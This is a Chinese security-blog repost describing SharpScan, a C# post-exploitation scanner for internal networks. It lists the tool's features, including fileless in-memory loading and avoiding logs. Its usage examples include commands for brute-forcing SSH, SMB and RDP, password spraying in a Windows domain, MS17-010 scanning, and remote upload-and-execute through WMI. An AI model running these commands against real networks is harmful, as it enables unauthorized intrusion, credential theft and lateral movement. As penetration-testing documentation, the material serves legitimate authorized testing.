文章总结: 该文档介绍了一款名为SharpScan的内网资产扫描器,专为后渗透阶段设计,支持无文件落地扫描以规避检测。工具由C#开发,具备自动化资产探测、端口扫描、漏洞识别、弱口令爆破及域内信息收集等功能,并兼顾OPSEC原则减少日志痕迹。文章详细列出了工具的功能特性与命令行使用方法,为安全测试人员提供了高效的内网横向移动与信息收集解决方案。 综合评分: 78 文章分类: 安全工具,内网渗透,渗透测试
一款后渗透工具支持一键自动化+无文件落地扫描
点击关注👉 点击关注👉
马哥网络安全
2026年3月12日 17:00 河南
1.特点
-
C#开发的内网资产扫描器,方便内网横向移动和域内信息收集
-
参考了Ladon,Fscan、Kscan等扫描器的工作原理
-
为了兼容更古老的系统,所以采用.NET Framework3.5 和.NET Core6.0开发
-
使用异步和高并发、扫描速度快并且可控、内存自动回收
-
用Inline-assembly或者Execute-assembly进行内存加载,做到无文件落地扫描
-
体积较小(目前800kb)、传输快、自动化扫描+内网信息收集一条龙
-
尽量遵循OPSEC原则,不创建net.exe、wmi.exe、reg.exe等额外的子进程操,减少日志记录
2.主要功能
-
存活探测(Icmp、Arp)
-
端口扫描(Tcp)、主机信息探测、目标网卡探测
-
支持NetBios(默认137端口)、SMB(默认445端口)和WMI(默认135端口)服务快速探测
-
高危漏洞扫描:Eternal Blue(ms17010)、SMBGhost(CVE-2020-0796)、ZeroLogon(CVE-2020-1472)
-
Webtitle探测,指纹识别常见CMS、OA框架
-
各类服务弱口令爆破、账号密码爆破(SSH、SMB、RDP、FTP),SSH命令执行
-
探测当前主机.NET版本、操作系统版本信息、杀毒软件/内网设备(AV/EDR/XDR)查询
-
导出本地RDP登录日志(Rdp端口、Mstsc缓存、Cmdkey缓存、登录成功、失败日志)
-
判断是否在域内、定位域控IP、信息收集域控的FQDN、域管理员组、域企业管理员组、LDAP查询、域内用户名枚举,密码喷洒(全自动化)
-
全盘文件搜索,关键字匹配,与Everything的功能相似,适合全盘检索密码本(静默检索、不消耗内存)
-
携带一个Socks5代理服务器,支持账号密码验证、支持Tcp/IP端口复用
-
通过Sharpwmi进行内网横向移动,支持文件上传、命令执行(文件上传大小不超过512kb)
-
将扫描结果导出为txt、md文档
3. 工具使用
Usage: SharpScan [OPTIONS]
Options: -i, --icmp Perform icmp scan -a, --arp Perform arp scan -U, --udp Perform udp scan -h, --hTarget=VALUE Target segment to scan -p, --ports=VALUE Ports to scan (e.g. "0-1024" or "80,443,8080") -u, --username=VALUE Username for authentication --pw, --password=VALUE Password for authentication --uf, --ufile=VALUE Username file for authentication --pwf, --pwdfile=VALUE Password file for authentication -m, --mode=VALUE Mode(e.g. ssh/smb/rdp/ftp/wmiexec/dcom/mysql/mssql/ userenum/passwordspray) -f, --func=VALUE wmiexc function(cmd/psh/upload/uploadexec) -c, --command=VALUE Command Execution -d, --delay=VALUE Scan delay(ms),Defalt:10ms -t, --thread=VALUE Maximum num of concurrent scans,Defalt:600 -s, --search=VALUE Search all files -l, --localfile=VALUE The local file to upload -r, --remotefile=VALUE The remote file path --socks5=VALUE Open socks5 port --http=VALUE Open SimpleHTTPServer port --folder=VALUE SimpleHTTPServer Folder --nopoc Not using proof of concept(POC) -o, --output=VALUE Output file to save console output --help, --show Show this usage and help
Example: SharpScan.exe -help SharpScan.exe -h 192.168.1.1/24 SharpScan.exe -h C:\ip.txt SharpScan.exe -h 192.168.1.1,192.168.1.3,192.168.1.4 SharpScan.exe -h 192.168.1.107 -p 100-1024
基本用法
扫描C段/B段,默认使用所有模块
SharpScan.exe -h 192.168.1.1/24 (扫描C段)SharpScan.exe -h 192.168.1.1/16 (扫描B段)SharpScan.exe -h 192.168.1.107,192.168.1.3,192.168.1.4 (扫描指定IP,用逗号分隔)SharpScan.exe -h C:\\Windows\\IP.txt (扫描指定IP.txt,格式和账号密码本的格式一样)SharpScan.exe -h 192.168.1.107 -p 100-1024 (对单个IP进行端口扫描)
其它功能
SharpScan.exe -h 192.168.244.1/24 -nopoc (只做网段主机探测和端口扫描)SharpScan.exe -s 192.168.244.169 -p 80-1024 -d 0 -m 600 (Tcp端口扫描:80-1024,0延时,最大并发600)SharpScan.exe -t 192.168.244.141 -U -p 100-10000 (udp端口扫描:100-10000,10ms延时,最大并发600)SharpScan.exe -h 192.168.244.1/24 -m ssh -u root -pw a (C段ssh服务账号密码爆破,账号root,密码a)SharpScan.exe -h 192.168.244.1/24 -m smb -u administrator -pw a (C段smb服务账号密码爆破,账号administrator,密码a)SharpScan.exe -h 192.168.244.1/24 -m rdp -u administrator -pw a (C段rdp服务账号密码爆破,账号administrator,密码a)SharpScan.exe -h 192.168.244.1/24 -m smb -uf user.txt -pwf pass.txt (用账号密码本爆破C段的smb服务)SharpScan.exe -h 192.168.244.1/24 -m rdp -uf user.txt -pwf pass.txt (用账号密码本爆破C段的rdp服务)SharpScan.exe -h 192.168.244.1/24 -m ssh -uf user.txt -pwf pass.txt (用账号密码本爆破C段的ssh服务()SharpScan.exe -h 192.168.244.1/24 -m ms17010 (C段批量扫描是否存在ms17010)SharpScan.exe -h 192.168.244.1/24 -m ssh -u root -pw a -c "uname-a" (ssh命令执行C段枚举)SharpScan.exe -h 192.168.244.1.3 -m wmiexec -f cmd -c "ls C:\\Windows" (远程执行命令,通过注册表传递数据)SharpScan.exe -h 192.168.244.1.3 -m wmiexec -func upload -l C:\a.exe -r C:\\Windows\a.exe (上传文件到远程主机,-l是本地文件路径,-r是上传到远程主机的文件路径)SharpScan.exe -h 192.168.244.1.3 -m wmiexec -func uploadexec -l C:\a.exe -r C:\\Windows\a.exe (上传文件到远程主机并且执行文件)SharpScan.exe -h 192.168.244.1.3 -m userenum -uf user.txt (域内枚举用户名)SharpScan.exe -h 192.168.244.1.3 -m passwordspray -uf user.txt -pw abc123$% (域内密码喷洒)SharpScan.exe -h 192.168.244.1.3 -m passwordspray -uf user.txt -pwf pass.txt(域内密码喷洒)SharpScan.exe -s "pass.txt" (全盘静默检索pass.txt)SharpScan.exe -socks5 8000 -u test -pw 1234 (Socks5:8000,用户名:test,密码:1234)SharpScan.exe -h 192.168.244.1/24 -o output.txt (将扫描结果导出到output.txt)
- 项目地址
https://github.com/INotGreen/SharpScan
文章内容转自菜鸟学信安,侵删
3月技能成长计划
🌱 3月技能成长计划,今日重磅开启!
🔥 7天限时狂欢,三重好礼等你来拿!
🎁 报名即享:最高立省4700元,加赠实战专题课 + 钻石学习卡 + 京东卡/瑞幸卡(二选一)
🎁 直播福利:免费领取《2026面试宝典》,助你职场先人一步
🎁 推荐有礼:邀好友报名,得大额京东卡,多推多得!
⏰ 活动时间:3月12日-3月18日
👉 立即私信老师,锁定好礼名额!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:马哥网络安全 点击关注👉 点击关注👉《一款后渗透工具支持一键自动化+无文件落地扫描》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论